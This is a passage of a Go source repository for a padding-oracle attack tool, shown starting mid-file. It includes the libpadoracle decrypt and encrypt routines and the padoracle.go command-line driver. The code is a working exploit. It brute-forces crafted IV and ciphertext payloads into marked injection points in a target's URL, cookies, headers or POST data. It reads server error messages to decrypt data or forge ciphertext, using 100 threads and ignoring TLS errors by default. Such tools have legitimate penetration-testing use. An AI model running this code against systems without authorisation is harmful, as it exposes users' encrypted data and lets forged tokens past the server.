uiprogress.AddBar(cfg.BlockSize).AppendCompleted().PrependElapsed() 79 | bar.Empty = ' ' 80 | bar.PrependFunc(func(b *uiprogress.Bar) string { 81 | return strData 82 | }) 83 | bar.AppendFunc(func(b *uiprogress.Bar) string { 84 | return outData 85 | }) 86 | 87 | returnData := Data{} 88 | decipheredBlockBytes := []byte{} 89 | wg2 := sync.WaitGroup{} 90 | var nextByte byte 91 | blockDecipherChan := make(chan []byte, 1) 92 | 93 | for byteNum, _ := range blockData { // Iterate over each byte 94 | rangeData := GetRangeDataSafe([]byte{}) //slice of 'candidate' bytes 95 | if blockNum == cfg.NumBlocks-1 { 96 | pads := []byte{} 97 | for p := byte(3); p < byte(cfg.BlockSize); p++ { 98 | pads = append(pads, p) 99 | } 100 | rangeData = GetRangeDataSafe(pads) 101 | } 102 | // var found bool 103 | // Iterate through each possible byte value until padding error goes away 104 | 105 | for { 106 | continueChan := make(chan bool, 1) 107 | wg2.Add(1) 108 | 109 | if len(rangeData) == 0 { 110 | log.Panic("Um you have no more bytes to test here. Something is broken :(") 111 | } 112 | for _, i := range rangeData { 113 | // if cfg.Debug { 114 | // log.Printf("Debug stats: current block [%d] | bytesToTest [%v]", blockNum, rangeData) 115 | // } 116 | var found bool = false 117 | strData = fmt.Sprintf("Block [%v]\t[%v%v%v]", blockNum, b.Sprintf("%x", blockData[:len(blockData)-1-byteNum]), y.Sprintf("%02x", i), g.Sprintf("%v", hex.EncodeToString(decipheredBlockBytes))) 118 | threadCh <- struct{}{} 119 | if blockNum == cfg.NumBlocks-1 && byteNum == 0 { // Edge case for the VERY LAST byte of ciphertext; 120 | // // this one will ALWAYS allow 0x01 to be valid (as 1 byte of padding in the final block is always a valid value) 121 | // // Additionally, there's a 1/256 chance that 0x02 will be valid 122 | // // The probability of each successive value is exponential, so we can probably assume it's not likely 123 | found = PerByteOperations(&wg2, threadCh, blockDecipherChan, cfg, i, byteNum, blockNum, blockData, iv, decipheredBlockBytes, continueChan) 124 | 125 | } else { 126 | go PerByteOperations(&wg2, threadCh, blockDecipherChan, cfg, i, byteNum, blockNum, blockData, iv, decipheredBlockBytes, continueChan) 127 | } 128 | if found { 129 | break 130 | } 131 | } 132 | retBytes := <-blockDecipherChan // should be []byte{input, output} 133 | 134 | byteNum := retBytes[0] 135 | nextByte := retBytes[1] 136 | log.Println("aaaaaaaaaaaa", byteNum, nextByte) 137 | 138 | if cfg.AsciiMode && (blockNum != 0 || blockNum != cfg.NumBlocks-1) { // this should prevent it crapping out when it hits the IV block (which is going to be garbage) 139 | if !unicode.IsPrint(rune(nextByte)) { 140 | rangeData = bytes.ReplaceAll(rangeData, []byte{nextByte}, []byte{}) 141 | if cfg.Debug { 142 | log.Println("banning byte: ", byteNum, nextByte, rangeData) 143 | // wg2.Add(1) 144 | // blockDecipherChan = make(chan []byte, 1) 145 | } 146 | continue 147 | } 148 | break 149 | } 150 | } 151 | // log.Println(nextByte) 152 | strData = fmt.Sprintf("Block [%v]\t[%v%v%v] (NextByte: %v)", blockNum, b.Sprintf("%x", blockData[:len(blockData)-1-byteNum]), r.Sprintf("%02x", nextByte), g.Sprintf("%v", hex.EncodeToString(decipheredBlockBytes)), nextByte) 153 | decipheredBlockBytes = append([]byte{nextByte}, decipheredBlockBytes...) 154 | bar.Incr() 155 | wg2.Wait() 156 | } 157 | returnData.BlockNumber = blockNum 158 | returnData.EncryptedBlockData = blockData 159 | returnData.DecipheredBlockData = decipheredBlockBytes 160 | if blockNum == cfg.NumBlocks-1 { // Last block - unpad before saving cleartext 161 | returnData.UnpaddedCleartext = string(Unpad(decipheredBlockBytes)) 162 | } else { 163 | returnData.UnpaddedCleartext = string(decipheredBlockBytes) 164 | } 165 | outData = fmt.Sprintf("Decrypted [%v]\n╰> Original Ciphertext:\t[%v]\n╰> Decrypted (Hex):\t[%v]\n╰> Cleartext:\t\t[%v]\n", r.Sprintf("Block %d", returnData.BlockNumber), b.Sprintf(hex.EncodeToString(returnData.EncryptedBlockData)), g.Sprintf(hex.EncodeToString(returnData.DecipheredBlockData)), gb.Sprintf(returnData.UnpaddedCleartext)) 166 | 167 | decipherChan <- returnData 168 | } 169 | 170 | // PerByteOperations performs the actual math on each byte of the CipherText 171 | func PerByteOperations(wg *sync.WaitGroup, threadCh chan struct{}, blockDecipherChan chan []byte, cfg Config, bruteForceByteValue byte, byteNum int, blockNum int, blockData []byte, IV []byte, decipheredBlockBytes []byte, continueChan chan bool) bool { 172 | defer func() { 173 | <-threadCh // Release a thread once we're done with this goroutine 174 | }() 175 | select { 176 | case <-continueChan: 177 | return false 178 | default: 179 | var RawOracleData []byte 180 | // Math here - all the XORing and building of weird padding happens in these routines 181 | padBlock := BuildPaddingBlock(byteNum, cfg.BlockSize) 182 | searchBlock := BuildSearchBlock(decipheredBlockBytes, bruteForceByteValue, cfg.BlockSize) 183 | tmp := XORBytes(searchBlock, IV) 184 | oracleIvBlock := XORBytes(tmp, padBlock) 185 | 186 | RawOracleData = BuildRawOraclePayload(oracleIvBlock, blockData) 187 | // padBlock := BuildPaddedBlock(IV, blockData, bruteForceByteValue, cfg.blockSize) 188 | 189 | encodedPayload := cfg.Pad.EncodePayload(RawOracleData) 190 | cfg.MetricsChan <- 1 191 | if cfg.Pad.CallOracle(encodedPayload) { // this one didn't return a pad error - we've probably decrypted it! 192 | defer wg.Done() 193 | continueChan <- true 194 | close(continueChan) 195 | blockDecipherChan <- []byte{byte(byteNum), byte(bruteForceByteValue)} 196 | if byteNum == cfg.BlockSize { 197 | close(blockDecipherChan) 198 | } 199 | return true 200 | } 201 | return false // This is to aid with detection of the final ciphertext's pad byte 202 | } 203 | } 204 | 205 | func PadOperationsEncrypt(wg *sync.WaitGroup, cfg *Config, plainText []byte) { 206 | defer func() { 207 | wg.Done() 208 | }() 209 | bar := uiprogress.AddBar(cfg.BlockSize).AppendCompleted().PrependElapsed() 210 | bar.Empty = ' ' 211 | var strData string = "" 212 | var outData string = "" 213 | bar.PrependFunc(func(b *uiprogress.Bar) string { 214 | return strData 215 | }) 216 | bar.AppendFunc(func(b *uiprogress.Bar) string { 217 | return outData 218 | }) 219 | // IV was supplied by the user - let's prepend to the Plaintext 220 | if cfg.IV != nil { 221 | plainText = append(cfg.IV, plainText...) 222 | } 223 | // So at this point plaintext should look like: 224 | // [Block0: IV][Block1 - Block n-1: Target Plaintext to be "encrypted"] 225 | // Chunk up the PKCS7-padded plaintext into BS-sized blocks 226 | tmp, err := PKCS7(plainText, cfg.BlockSize) 227 | Check(err) 228 | plainTextChunks := ChunkBytes(tmp, cfg.BlockSize) 229 | // New slice to store our resulting ciphertext in; it needs space for the iv and final ciphertext block 230 | cipherTextChunks := make([][]byte, len(plainTextChunks)+1) 231 | 232 | // We need a 'random' last block. It doesn't actually have to be random so I've filled it with A's 233 | cipherTextChunks[len(cipherTextChunks)-1] = GenerateFullSlice(0x41, cfg.BlockSize) 234 | // Reverse the order of the search 235 | threadCh := make(chan struct{}, cfg.Threads) 236 | var nextCt []byte 237 | for i := len(plainTextChunks) - 1; i >= 0; i-- { 238 | // Grab the next ciphertext and target plaintext blocks from the array 239 | ct := cipherTextChunks[i+1] 240 | nextCt, outData = PerBlockOperationsEncrypt(*cfg, i, ct, plainTextChunks[i], threadCh, bar) 241 | // prepend the next ciphertext chunk to the list for processing 242 | cipherTextChunks[i] = nextCt 243 | } 244 | bar.Incr() 245 | 246 | outBytes := []byte{} 247 | for _, b := range cipherTextChunks { 248 | outBytes = append(outBytes, b...) 249 | } 250 | fmt.Println("Here is your ciphertext; supply this to the app:\n", cfg.Pad.EncodePayload(outBytes)) 251 | } 252 | 253 | // Encrypting works a little differently, and is dependent on the previous block being calculated, unlike decrypting :(. Paralleling this operation is likely not possible? 254 | func PerBlockOperationsEncrypt(cfg Config, blockNum int, cipherText []byte, plaintText []byte, threadCh chan struct{}, bar *uiprogress.Bar) (iv []byte, outData string) { 255 | // threadCh := make(chan struct{}, cfg.Threads) 256 | wg := sync.WaitGroup{} 257 | var strData string 258 | rangeData := GetRangeDataSafe([]byte{}) //slice of 'candidate' bytes 259 | if blockNum == cfg.NumBlocks-1 { 260 | pads := []byte{} 261 | for p := byte(3); p < byte(cfg.BlockSize); p++ { 262 | pads = append(pads, p) 263 | } 264 | rangeData = GetRangeDataSafe(pads) 265 | } 266 | bar.PrependFunc(func(b *uiprogress.Bar) string { 267 | return strData 268 | }) 269 | decipheredBlockBytes := GenerateFullSlice(0x00, cfg.BlockSize) 270 | outchan := make(chan []byte, 1) 271 | // Iterate through each byte in the block 272 | for byteNum, _ := range plaintText { // Iterate over each byte 273 | // Iterate over each possible byte value to determine which one doesn't cause a padding error 274 | // The actual math and stuff happens in the perbyteoperations function below 275 | continueChan := make(chan bool, 1) 276 | wg.Add(1) 277 | for _, i := range rangeData { 278 | strData = fmt.Sprintf("Block [%v]\t[%v%v%v]", blockNum, b.Sprintf("%x", cipherText[:len(cipherText)-1-byteNum]), y.Sprintf("%02x", i), g.Sprintf("%v", hex.EncodeToString(decipheredBlockBytes))) 279 | 280 | threadCh <- struct{}{} 281 | go PerByteOperationsEncrypt(&wg, threadCh, outchan, cfg, i, byteNum, blockNum, cipherText, decipheredBlockBytes, continueChan) 282 | } 283 | decipheredBlockBytes = <-outchan 284 | strData = fmt.Sprintf("Block [%v]\t[%v%v%v]", blockNum, b.Sprintf("%x", cipherText[:len(cipherText)-1-byteNum]), r.Sprintf("%02x", decipheredBlockBytes[len(cipherText)-1-byteNum]), g.Sprintf("%v", hex.EncodeToString(decipheredBlockBytes[len(cipherText)-byteNum:]))) 285 | bar.Incr() 286 | wg.Wait() 287 | 288 | } 289 | 290 | iv = XORBytes(decipheredBlockBytes, GenerateFullSlice(0x11, cfg.BlockSize)) 291 | iv = XORBytes(iv, plaintText) 292 | outData = fmt.Sprintf("Encrypted [%v]\n╰> Block n+1:\t[%v]\n╰> Generated block n (IV) (Hex):\t[%v]\n╰> Cleartext for Block n+1:\t\t[%v]\n", r.Sprintf("Block %d", blockNum), b.Sprintf(hex.EncodeToString(cipherText)), g.Sprintf(hex.EncodeToString(iv)), gb.Sprintf(string(plaintText))) 293 | return iv, outData 294 | } 295 | 296 | // PerByteOperations performs the actual math on each byte of the CipherText 297 | func PerByteOperationsEncrypt(wg *sync.WaitGroup, threadCh chan struct{}, outchan chan []byte, cfg Config, bruteForceByteValue byte, byteNum int, blockNum int, cipherText []byte, decipheredBlockBytes []byte, continueChan chan bool) { 298 | defer func() { 299 | <-threadCh // Release a thread once we're done with this goroutine 300 | }() 301 | select { 302 | case _, ok := <-continueChan: 303 | if !ok { 304 | return 305 | } 306 | return 307 | default: 308 | // Ok here's the bit where we build our attack payload. 309 | // It happens in ~3 stages; a padding block is constructed 310 | padBlock := BuildPaddingBlock(byteNum, cfg.BlockSize) // gives us [0x00, 0x00, 0x00,..,0x01] -> [0xf, 0xf, 0xf, ..., 0xf] 311 | 312 | // Searchblock produces a front-padded with 0x00, the target byte we're flipping; and then the remainder of the previously determined bytes 313 | searchBlock := append(GenerateFullSlice(0x00, cfg.BlockSize-byteNum-1), byte(bruteForceByteValue)) 314 | searchBlock = append(searchBlock, decipheredBlockBytes[len(decipheredBlockBytes)-byteNum:]...) 315 | 316 | // gives us the modified IV block, mutating the last byte backwards 317 | // nextPadBlock := BuildPaddingBlock(byteNum+1, cfg.BlockSize) gives us [0x00,...,0x01] -> [0x10, ..., 0x10] 318 | nextPadBlock := append(GenerateFullSlice(0x00, cfg.BlockSize-byteNum-1), GenerateFullSlice(byte(byteNum+2), byteNum+1)...) 319 | 320 | // Appends the ciphertext block to the generated IV 321 | RawOracleData := BuildRawOraclePayload(searchBlock, cipherText) 322 | 323 | // Sends to the client for processing / Encoding 324 | encodedPayload := cfg.Pad.EncodePayload(RawOracleData) 325 | 326 | cfg.MetricsChan <- 1 327 | 328 | // Check if the generated block is padded correctly! 329 | if cfg.Pad.CallOracle(encodedPayload) { // this one didn't return a pad error - we've probably found our pad byte! 330 | defer wg.Done() 331 | // Signal that we're done with this channel and that other goroutines should quit 332 | // fmt.Println("Here") 333 | continueChan <- true 334 | close(continueChan) 335 | // fmt.Println("NowHere") 336 | 337 | decipheredBlockBytes[cfg.BlockSize-byteNum-1] = byte(bruteForceByteValue) // prepend the found byte 338 | tmp := XORBytes(decipheredBlockBytes, padBlock) 339 | 340 | if byteNum != cfg.BlockSize { 341 | decipheredBlockBytes = XORBytes(tmp, nextPadBlock) 342 | } 343 | 344 | outchan <- decipheredBlockBytes 345 | if byteNum == cfg.BlockSize { 346 | close(outchan) 347 | } 348 | // fmt.Println("NowIHere") 349 | return 350 | } 351 | return // This is to aid with detection of the final ciphertext's pad byte 352 | } 353 | } 354 | -------------------------------------------------------------------------------- /libpadoracle/worker.go: -------------------------------------------------------------------------------- 1 | package libpadoracle 2 | 3 | import ( 4 | "bytes" 5 | "fmt" 6 | "sort" 7 | "sync" 8 | 9 | "github.com/gosuri/uiprogress" 10 | ) 11 | 12 | func Run(cfg Config) { 13 | defer func() { close(cfg.MetricsChan) }() 14 | 15 | cfg.MetricsChan = make(chan int) 16 | cfg.Statistics = Stats{ 17 | NumRequests: 0, 18 | } 19 | decipherChan := make(chan Data) 20 | cfg.Writer = make(chan WriteData) 21 | wg := sync.WaitGroup{} 22 | wg.Add(1) 23 | uiprogress.Start() 24 | go StatsTracking(&cfg) 25 | if cfg.Mode == MODE_DECRYPT { 26 | go PadOperations(&wg, &cfg, cfg.BaseCiphertext, decipherChan) 27 | 28 | } else if cfg.Mode == MODE_ENCRYPT { 29 | go PadOperationsEncrypt(&wg, &cfg, cfg.TargetPlaintext) 30 | } 31 | wg.Wait() 32 | } 33 | 34 | func StatsTracking(cfg *Config) { 35 | 36 | for i := range cfg.MetricsChan { 37 | cfg.Statistics.NumRequests = cfg.Statistics.NumRequests + i 38 | } 39 | } 40 | 41 | func WriteOutput(wg *sync.WaitGroup, decipherChan chan Data, cfg *Config) { 42 | defer wg.Done() 43 | Results := []Data{} 44 | 45 | for block := range decipherChan { 46 | 47 | // fmt.Printf("Decrypted [%v]\n╰> Original Ciphertext:\t[%v]\n╰> Decrypted (Hex):\t[%v]\n╰> Cleartext:\t\t[%v]\n", r.Sprintf("Block %d", block.BlockNumber), b.Sprintf(hex.EncodeToString(block.EncryptedBlockData)), g.Sprintf(hex.EncodeToString(block.DecipheredBlockData)), gb.Sprintf(block.UnpaddedCleartext)) 48 | 49 | Results = append(Results, block) 50 | } 51 | var ClearText bytes.Buffer 52 | sort.Slice(Results, func(i, j int) bool { return Results[i].BlockNumber < Results[j].BlockNumber }) 53 | for _, res := range Results { // need to fix this; sort on Results[i] instead of this crap - this won't work if you're not starting at block 1... 54 | ClearText.WriteString(res.UnpaddedCleartext) 55 | } 56 | uiprogress.Stop() 57 | 58 | fmt.Printf("\n******** [%v] [%v requests total] ********\n", y.Sprintf("Decrypted data"), y.Sprintf("%d", cfg.Statistics.NumRequests)) 59 | fmt.Printf("%v\n", ClearText.String()) 60 | 61 | } 62 | -------------------------------------------------------------------------------- /padoracle.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "crypto/tls" 5 | "encoding/hex" 6 | "flag" 7 | "fmt" 8 | "net" 9 | "net/http" 10 | _ "net/http/pprof" 11 | "net/url" 12 | 13 | "io/ioutil" 14 | "strings" 15 | 16 | "log" 17 | 18 | "github.com/swarley7/padoracle/libpadoracle" 19 | ) 20 | 21 | type arrayFlags []string 22 | 23 | func (i *arrayFlags) String() string { 24 | return "my string representation" 25 | } 26 | 27 | func (i *arrayFlags) Set(value string) error { 28 | *i = append(*i, value) 29 | return nil 30 | } 31 | 32 | type testpad struct { 33 | Data string 34 | URL string 35 | Method string 36 | Cookies string 37 | Client *http.Client 38 | Headers string 39 | } 40 | 41 | const ( 42 | MaxIdleConnections int = 20 43 | RequestTimeout int = 5 44 | ) 45 | 46 | var DefaultDialer = &net.Dialer{} 47 | 48 | // EncodePayload turns the raw oracle payload (IV + Ciphertext) into whatever format is required by the endpoint server. Modify this routine to suit the specific needs of the application. 49 | func (t testpad) EncodePayload(RawPadOraclePayload []byte) (encodedPayload string) { 50 | encodedPayload = hex.EncodeToString(RawPadOraclePayload) 51 | return encodedPayload 52 | } 53 | 54 | // DecodePayload is used to decode the initial CipherText payload provided as a CommandLine Argument 55 | func (t testpad) DecodeCiphertextPayload(EncodedPayload string) []byte { 56 | var decoded []byte 57 | //****** EDIT this function to suit your particular ciphertext's encoding. ********// 58 | // This function should return a byte array of the ciphertext's raw bytes // 59 | decoded, err := hex.DecodeString(EncodedPayload) 60 | libpadoracle.Check(err) 61 | return decoded 62 | } 63 | 64 | // DecodeIV decodes the optionally-supplied Block0 initialisation vector. Modify the decode routine to suit the format of the supplied IV 65 | func (t testpad) DecodeIV(IV string) []byte { 66 | return t.DecodeCiphertextPayload(IV) 67 | } 68 | 69 | // Modify this struct to suit whatever data you want to be available to the CheckResponse function. 70 | // The sample includes the HTTP response code and HTTP response body (as a string). Again, this is a sample, modify to suit! 71 | type Resp struct { 72 | ResponseCode int 73 | BodyData string 74 | } 75 | 76 | // CallOracle actually makes the HTTP/whatever request to the server that provides the padding oracle and returns bool: true = padding was CORRECT/VALID; false = padding was INCORRECT/INVALID. Modify this to suit your application's needs. 77 | func (t testpad) CallOracle(encodedPayload string) bool { 78 | if !strings.Contains(t.URL, "") && !strings.Contains(t.Data, "") && !strings.Contains(t.Cookies, "") { 79 | panic("No marker supplied in URL or data") 80 | } 81 | req, err := http.NewRequest(t.Method, strings.Replace(t.URL, "", encodedPayload, -1), strings.NewReader(strings.Replace(t.Data, "", encodedPayload, -1))) 82 | libpadoracle.Check(err) 83 | 84 | // Set cookie 85 | req.Header.Set("Cookie", strings.Replace(t.Cookies, "", encodedPayload, -1)) 86 | for _, i := range strings.Split(t.Headers, ";;") { 87 | if len(i) > 0 { 88 | kv := strings.SplitN(i, ":", 1) 89 | req.Header.Set(strings.Replace(kv[0], "", encodedPayload, -1), strings.Replace(kv[1], "", encodedPayload, -1)) 90 | } 91 | } 92 | resp, err := t.Client.Do(req) 93 | libpadoracle.Check(err) 94 | defer resp.Body.Close() // Return the response data back to the caller 95 | 96 | bodyBytes, err := ioutil.ReadAll(resp.Body) 97 | libpadoracle.Check(err) 98 | return t.CheckResponse(Resp{ResponseCode: resp.StatusCode, BodyData: string(bodyBytes)}) 99 | } 100 | 101 | // CheckResponse tells the program whether the padding was invalid or not. Modify to suit the application's response when invalid padding is detected. 102 | func (t testpad) CheckResponse(resp Resp) bool { 103 | // Sample - the server's response includes the string "not padded correctly" 104 | // matched, _ := regexp.MatchString(`not padded correctly`, resp.BodyData) 105 | // fmt.Println(matched, err) 106 | if strings.Contains(resp.BodyData, "Error occurred during a cryptographic operation.") { 107 | return false 108 | } 109 | return true 110 | } 111 | 112 | func main() { 113 | var cfg libpadoracle.Config 114 | var cipherText string 115 | var plainText string 116 | var iv string 117 | var Url string 118 | var method string 119 | var data string 120 | var proxyUrl string 121 | var cookies string 122 | var ignoreTls bool 123 | var headers string 124 | 125 | var binaryMode bool 126 | 127 | flag.StringVar(&cipherText, "c", "", "Provide the base ciphertext that you're trying to decipher (ripped straight from your request)") 128 | flag.StringVar(&plainText, "p", "", "Provide the plaintext that you're trying to encrypt through exploitation of the padding oracle (for use with mode = 1)") 129 | flag.StringVar(&iv, "iv", "", "Optional: provide the IV for Block 0 of your ciphertext (if the application has done Crypto bad, and treated the IV as secret)") 130 | flag.StringVar(&cookies, "C", "", "Copy paste the cookies from your request in burp or whatever. E.g. \"cookie1=askldjf; cookie2=aaaaaaaaa; test=adfsdsfdf;\" Use the marker '' to identify the injection point (note: will check GET and POST data)") 131 | flag.IntVar(&cfg.BlockSize, "bs", 16, "Block size for the ciphertext. Common values are 8 (DES), 16 (AES)") 132 | flag.IntVar(&cfg.Threads, "T", 100, "Number of threads to use for testing") 133 | flag.IntVar(&cfg.Sleep, "S", 0, "Sleep x miliseconds between requests to be nice to the server") 134 | flag.StringVar(&cfg.BlockRange, "blocks", "1,-1", "Optional: provide a range of blocks that are to be decrypted (useful for testing purposes). Note that the first value should always be '>=1'") 135 | flag.StringVar(&proxyUrl, "proxy", "", "Proxy to use for requests (if required)") 136 | 137 | flag.StringVar(&Url, "u", "", "The target URL. Use the marker '' to identify the injection point (note: will check GET and POST data)") 138 | flag.StringVar(&method, "method", "GET", "HTTP method to use (default GET)") 139 | flag.StringVar(&headers, "headers", "", "Optional: provide additional headers to be sent with the request (double semicolon-delimited). E.g. \"header1: value1;; header2: value2;\" Use the marker '' to identify the injection point (note: will check Keys and Values)") 140 | flag.StringVar(&data, "data", "", "Optional: POST data to supply with request") 141 | flag.IntVar(&cfg.Mode, "m", 0, "0 = Decrypt; 1 = Encrypt. Note: Encryption through a padding oracle cannot be concurrently performed (as far as I can determine). A single thread is used in this mode.") 142 | flag.BoolVar(&cfg.Debug, "d", false, "Debug mode") 143 | 144 | flag.BoolVar(&binaryMode, "binary", false, "Binary mode (default is to expect the resultant plaintext to be ASCII printable chars) - set to `true` if you're dealing with bin data or unicode emojiz") 145 | flag.BoolVar(&ignoreTls, "k", true, "Nobody cares about TLS certificate errors, but maybe you do?") 146 | 147 | flag.Parse() 148 | if Url == "" { 149 | log.Fatal("No URL supplied.") 150 | } 151 | if cfg.Debug { 152 | go func() { 153 | fmt.Println("Profiler running on: localhost:6060") 154 | http.ListenAndServe("localhost:6060", nil) 155 | }() 156 | } 157 | 158 | httpTransport := &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: ignoreTls}, Dial: DefaultDialer.Dial, MaxIdleConnsPerHost: MaxIdleConnections} 159 | client := &http.Client{Transport: httpTransport} 160 | 161 | if proxyUrl != "" { 162 | pURL, err := url.Parse(proxyUrl) 163 | if err != nil { 164 | log.Fatal("Busted ProxyURL...", proxyUrl) 165 | } 166 | client.Transport = &http.Transport{Proxy: http.ProxyURL(pURL), TLSClientConfig: &tls.Config{InsecureSkipVerify: ignoreTls}} 167 | } 168 | cfg.Pad = testpad{URL: Url, Method: method, Data: data, Client: client, Headers: headers, Cookies: cookies} 169 | cfg.TargetPlaintext = []byte(plainText) 170 | cfg.BaseCiphertext = cfg.Pad.DecodeCiphertextPayload(cipherText) 171 | cfg.AsciiMode = true 172 | if binaryMode { 173 | cfg.AsciiMode = false 174 | } 175 | if iv != "" { 176 | cfg.IV = cfg.Pad.DecodeIV(iv) 177 | } 178 | libpadoracle.Run(cfg) 179 | 180 | } 181 | -------------------------------------------------------------------------------- /sample.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swarley7/padoracle/18d33fae5ac0659fee50b40dcc2e293b176e3b9b/sample.png -------------------------------------------------------------------------------- /sample_finished.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swarley7/padoracle/18d33fae5ac0659fee50b40dcc2e293b176e3b9b/sample_finished.png --------------------------------------------------------------------------------